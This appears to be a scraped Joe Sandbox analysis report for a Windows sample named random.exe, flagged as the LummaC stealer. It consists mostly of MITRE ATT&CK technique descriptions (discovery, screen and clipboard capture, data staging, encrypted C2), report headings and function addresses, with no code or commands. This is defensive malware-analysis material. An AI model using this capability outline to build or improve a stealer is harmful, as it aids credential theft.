Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report random.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AddInProcess32.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\random.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
random.exe

Function 0C327F11 Relevance: 115.7, Strings: 86, Instructions: 8225
COMMON

Function 026D1DF2 Relevance: 48.6, Strings: 36, Instructions: 3627
COMMON

Function 026D20A0 Relevance: 48.4, Strings: 36, Instructions: 3417
COMMON

Function 0C38A14B Relevance: 16.1, Strings: 12, Instructions: 1073
COMMON

Function 0C38A178 Relevance: 16.1, Strings: 12, Instructions: 1054
COMMON

Function 08062BB0 Relevance: 15.9, Strings: 12, Instructions: 851
COMMON

Function 0806F078 Relevance: 11.8, Strings: 9, Instructions: 500
COMMON

Function 0806F098 Relevance: 11.7, Strings: 9, Instructions: 489
COMMON

Function 08064B52 Relevance: 10.5, Strings: 8, Instructions: 545
COMMON

Function 07B35AE1 Relevance: 10.5, Strings: 8, Instructions: 519
COMMON

Function 07B35AF0 Relevance: 10.5, Strings: 8, Instructions: 516
COMMON

Function 08060006 Relevance: 9.6, Strings: 7, Instructions: 890
COMMON

Function 08060040 Relevance: 9.6, Strings: 7, Instructions: 866
COMMON

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre